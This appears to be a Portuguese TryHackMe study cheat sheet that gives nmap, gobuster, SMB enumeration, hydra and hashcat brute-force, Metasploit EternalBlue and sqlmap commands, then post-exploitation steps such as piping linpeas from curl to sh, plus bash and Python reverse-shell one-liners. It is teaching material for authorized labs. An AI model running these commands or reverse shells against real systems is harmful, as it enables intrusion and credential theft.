🎓
Bem-vindo ao Guia TryHackMe
Aprenda segurança ofensiva em ambientes legais e autorizados
1
Criar Conta
Registre-se grátis em tryhackme.com
2
Conectar VPN
Baixe e configure o OpenVPN
3
Iniciar Máquina
O site fornece o IP do alvo
4
Usar Comandos
Substitua <IP_DO_LAB> pelo IP
5
Encontrar Flags
Complete os desafios do lab
👈 Selecione um módulo no menu lateral para começar
🔍 Reconhecimento
Primeira fase: descobrir o que está rodando no alvo
⚠️ Use apenas em laboratórios autorizados
📡 Nmap - Varredura Básica
▼$ nmap -sV -sC <IP_DO_LAB>
-sV detecta versões dos serviços rodando.
-sC executa scripts padrão de detecção do Nmap.
Substitua <IP_DO_LAB> pelo IP que o TryHackMe fornece ao iniciar a máquina.
-sC executa scripts padrão de detecção do Nmap.
Substitua <IP_DO_LAB> pelo IP que o TryHackMe fornece ao iniciar a máquina.
📡 Nmap - Varredura Completa
▼$ nmap -A -p- -T4 <IP_DO_LAB>
-A ativa detecção de SO, versão, scripts e traceroute.
-p- escaneia todas as 65535 portas.
-T4 acelera a varredura.
-p- escaneia todas as 65535 portas.
-T4 acelera a varredura.
📡 Nmap - Varredura UDP
▼$ sudo nmap -sU --top-ports 20 <IP_DO_LAB>
-sU faz varredura UDP (precisa de sudo).
--top-ports 20 verifica as 20 portas UDP mais comuns.
--top-ports 20 verifica as 20 portas UDP mais comuns.
🔎 Whois
▼$ whois <DOMINIO>
Consulta informações públicas de registro do domínio.
Mostra proprietário, servidores DNS, datas de registro.
Mostra proprietário, servidores DNS, datas de registro.
🔎 Dig - Consulta DNS
▼$ dig <DOMINIO> ANY
Consulta todos os registros DNS do domínio.
Mostra registros A, AAAA, MX, NS, TXT, etc.
Mostra registros A, AAAA, MX, NS, TXT, etc.
🌐 Enumeração Web
Descobrir diretórios, arquivos e tecnologias do servidor web
⚠️ Use apenas em laboratórios autorizados
📂 Gobuster - Diretórios
▼$ gobuster dir -u http://<IP_DO_LAB> -w /usr/share/wordlists/dirb/common.txt
Descobre diretórios e arquivos ocultos no servidor.
dir = modo diretório.
-u = URL alvo.
-w = wordlist (lista de palavras para testar).
dir = modo diretório.
-u = URL alvo.
-w = wordlist (lista de palavras para testar).
📂 Gobuster - Com Extensões
▼$ gobuster dir -u http://<IP_DO_LAB> -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak
-x adiciona extensões para testar.
Procura arquivos como login.php, config.txt, index.bak.
Procura arquivos como login.php, config.txt, index.bak.
🔬 Nikto - Scanner Web
▼$ nikto -h http://<IP_DO_LAB>
Scanner de vulnerabilidades web.
Detecta configurações inseguras, arquivos expostos, versões vulneráveis.
Detecta configurações inseguras, arquivos expostos, versões vulneráveis.
🔬 WhatWeb - Identificação
▼$ whatweb http://<IP_DO_LAB>
Identifica tecnologias usadas: CMS, frameworks, linguagens, servidor web.
📋 Curl - Cabeçalhos HTTP
▼$ curl -I http://<IP_DO_LAB>
-I retorna apenas os cabeçalhos HTTP.
Mostra Server, X-Powered-By, cookies, etc.
Mostra Server, X-Powered-By, cookies, etc.
📋 Curl - Código Fonte
▼$ curl -s http://<IP_DO_LAB>
-s modo silencioso. Retorna o HTML da página.
Procure comentários, links ocultos, credenciais no código.
Procure comentários, links ocultos, credenciais no código.
📁 Enumeração SMB
Descobrir compartilhamentos, usuários e permissões via SMB
⚠️ Use apenas em laboratórios autorizados
📁 Enum4linux
▼$ enum4linux -a <IP_DO_LAB>
-a executa todas as enumerações SMB.
Lista usuários, compartilhamentos, grupos e políticas de senha.
Lista usuários, compartilhamentos, grupos e políticas de senha.
📁 SMBclient - Listar
▼$ smbclient -L //<IP_DO_LAB> -N
-L lista compartilhamentos disponíveis.
-N tenta sem senha (acesso anônimo).
-N tenta sem senha (acesso anônimo).
📁 SMBclient - Conectar
▼$ smbclient //<IP_DO_LAB>/compartilhamento -N
Conecta ao compartilhamento encontrado.
Use ls para listar e get arquivo para baixar.
Use ls para listar e get arquivo para baixar.
📁 SMBmap
▼$ smbmap -H <IP_DO_LAB>
Mostra permissões de cada compartilhamento.
Indica se você pode ler, escrever ou executar.
Indica se você pode ler, escrever ou executar.
🔑 Força Bruta
Testar credenciais e quebrar hashes em laboratórios
⚠️ Use APENAS em laboratórios — nunca em sistemas reais
🔑 Hydra - SSH
▼$ hydra -l <USUARIO> -P /usr/share/wordlists/rockyou.txt ssh://<IP_DO_LAB>
-l = usuário conhecido.
-P = arquivo com lista de senhas.
rockyou.txt é a wordlist mais usada em CTFs.
-P = arquivo com lista de senhas.
rockyou.txt é a wordlist mais usada em CTFs.
🔑 Hydra - FTP
▼$ hydra -l <USUARIO> -P /usr/share/wordlists/rockyou.txt ftp://<IP_DO_LAB>
Mesmo conceito aplicado ao serviço FTP.
Testa combinações de senha automaticamente.
Testa combinações de senha automaticamente.
🔑 Hydra - Login HTTP
▼$ hydra -l admin -P /usr/share/wordlists/rockyou.txt <IP_DO_LAB> http-post-form "/login:username=^USER^&password=^PASS^:F=incorreto"
Força bruta em formulário web de login.
^USER^ e ^PASS^ são substituídos automaticamente.
F=incorreto é o texto que aparece quando a senha está errada.
^USER^ e ^PASS^ são substituídos automaticamente.
F=incorreto é o texto que aparece quando a senha está errada.
🔓 John - Quebrar Hash
▼$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Quebra hashes de senha usando wordlist.
Salve o hash em hash.txt antes de executar.
Suporta MD5, SHA, bcrypt e muitos outros.
Salve o hash em hash.txt antes de executar.
Suporta MD5, SHA, bcrypt e muitos outros.
🔓 Hashcat - GPU
▼$ hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
Quebra hashes usando GPU (muito mais rápido).
-m 0 = MD5 | -m 1000 = NTLM | -m 1800 = SHA-512
-m 0 = MD5 | -m 1000 = NTLM | -m 1800 = SHA-512
💣 Exploração
Usar vulnerabilidades encontradas para obter acesso
⚠️ Use apenas em laboratórios autorizados
🔍 Searchsploit
▼$ searchsploit apache 2.4.49
Busca exploits no banco local do Exploit-DB.
Substitua pelo serviço e versão detectados pelo Nmap.
Substitua pelo serviço e versão detectados pelo Nmap.
🧰 Metasploit - Fluxo Completo
▼$ msfconsole
msf> search eternalblue
msf> use exploit/windows/smb/ms17_010_eternalblue
msf> set RHOSTS <IP_DO_LAB>
msf> set LHOST <SEU_IP_VPN>
msf> exploit
msfconsole inicia o Metasploit.
search busca módulos de exploit.
use seleciona o módulo.
RHOSTS = IP do alvo no lab.
LHOST = seu IP na VPN do TryHackMe.
exploit executa o ataque.
search busca módulos de exploit.
use seleciona o módulo.
RHOSTS = IP do alvo no lab.
LHOST = seu IP na VPN do TryHackMe.
exploit executa o ataque.
💉 SQLMap - Injeção SQL
▼$ sqlmap -u "http://<IP_DO_LAB>/pagina?id=1" --dbs
Testa e explora injeção SQL automaticamente.
--dbs = lista bancos de dados.
--tables -D banco = lista tabelas.
--dump -T tabela -D banco = extrai dados.
--dbs = lista bancos de dados.
--tables -D banco = lista tabelas.
--dump -T tabela -D banco = extrai dados.
🏴 Pós-Exploração
Após obter acesso: encontrar flags e escalar privilégios
⚠️ Use apenas em laboratórios autorizados
🏴 Encontrar Flag
▼$ find / -name 'flag.txt' 2>/dev/null
Procura o arquivo flag.txt em todo o sistema.
2>/dev/null oculta erros de permissão.
As flags são as respostas dos desafios do TryHackMe.
2>/dev/null oculta erros de permissão.
As flags são as respostas dos desafios do TryHackMe.
👤 Verificar Usuário Atual
▼$ whoami && id && hostname
whoami = mostra usuário atual.
id = mostra grupos e permissões.
hostname = nome da máquina.
id = mostra grupos e permissões.
hostname = nome da máquina.
⬆️ SUDO - Verificar Permissões
▼$ sudo -l
Lista comandos que o usuário pode executar com sudo.
Consulte gtfobins.github.io para técnicas de escalação.
Consulte gtfobins.github.io para técnicas de escalação.
⬆️ SUID - Binários Especiais
▼$ find / -perm -4000 2>/dev/null
Lista binários com bit SUID ativado.
Estes executam com privilégios do dono (geralmente root).
Consulte gtfobins.github.io para explorar.
Estes executam com privilégios do dono (geralmente root).
Consulte gtfobins.github.io para explorar.
🤖 LinPEAS - Escalação Automática
▼$ curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
Script automático que identifica vetores de escalação de privilégios.
Verifica SUID, cron jobs, configurações fracas, senhas em arquivos, etc.
Verifica SUID, cron jobs, configurações fracas, senhas em arquivos, etc.
🐚 Shells Reversos
Obter conexão reversa do alvo para sua máquina
⚠️ Use apenas em laboratórios autorizados
👂 Listener Netcat (sua máquina)
▼$ nc -lvnp 4444
Execute na sua máquina antes de enviar o shell reverso.
-l = listen | -v = verbose | -n = sem DNS | -p = porta
-l = listen | -v = verbose | -n = sem DNS | -p = porta
🐚 Reverse Shell - Bash
▼$ bash -i >& /dev/tcp/<SEU_IP>/4444 0>&1
Execute no alvo para conectar de volta a você.
Substitua <SEU_IP> pelo seu IP na VPN do TryHackMe.
Substitua <SEU_IP> pelo seu IP na VPN do TryHackMe.
🐍 Reverse Shell - Python
▼$ python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<SEU_IP>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh"])'
Shell reverso usando Python. Útil quando bash não está disponível.
Substitua <SEU_IP> pelo seu IP.
Substitua <SEU_IP> pelo seu IP.
✨ Estabilizar Shell
▼$ python3 -c 'import pty;pty.spawn("/bin/bash")'
$ export TERM=xterm
# Pressione Ctrl+Z
$ stty raw -echo; fg
Transforma shell simples em shell interativo completo.
Permite usar Ctrl+C, Tab, setas, histórico.
Essencial após obter qualquer reverse shell.
Permite usar Ctrl+C, Tab, setas, histórico.
Essencial após obter qualquer reverse shell.
📚 Salas Recomendadas do TryHackMe
Ambientes legais e autorizados para praticar cada técnica
🟢 Iniciante
📌 Tutorial
Como usar a plataforma TryHackMe
📌 OpenVPN
Configurar VPN para conectar aos laboratórios
📌 Nmap
Aprender varredura de portas e detecção de serviços
📌 Network Services
Explorar SMB, FTP e Telnet em ambiente controlado
📌 Web Fundamentals
HTTP, cookies, HTML e funcionamento da web
📌 Linux Fundamentals
Comandos Linux básicos essenciais para pentesting
🟡 Intermediário
📌 Basic Pentesting
Pentest completo guiado do início ao fim
📌 OWASP Top 10
As 10 principais vulnerabilidades web do mundo
📌 Vulnversity
Reconhecimento → Upload de Shell → Escalação para Root
📌 Kenobi
Explorar SMB, FTP e escalar privilégios em Linux
📌 Pickle Rick
CTF web divertido com tema de Rick and Morty
🔴 Avançado
📌 Buffer Overflow Prep
Exploração de memória e buffer overflow
📌 Attacktive Directory
Ataques em Active Directory Windows
📌 Internal
Pentest realista completo — nível profissional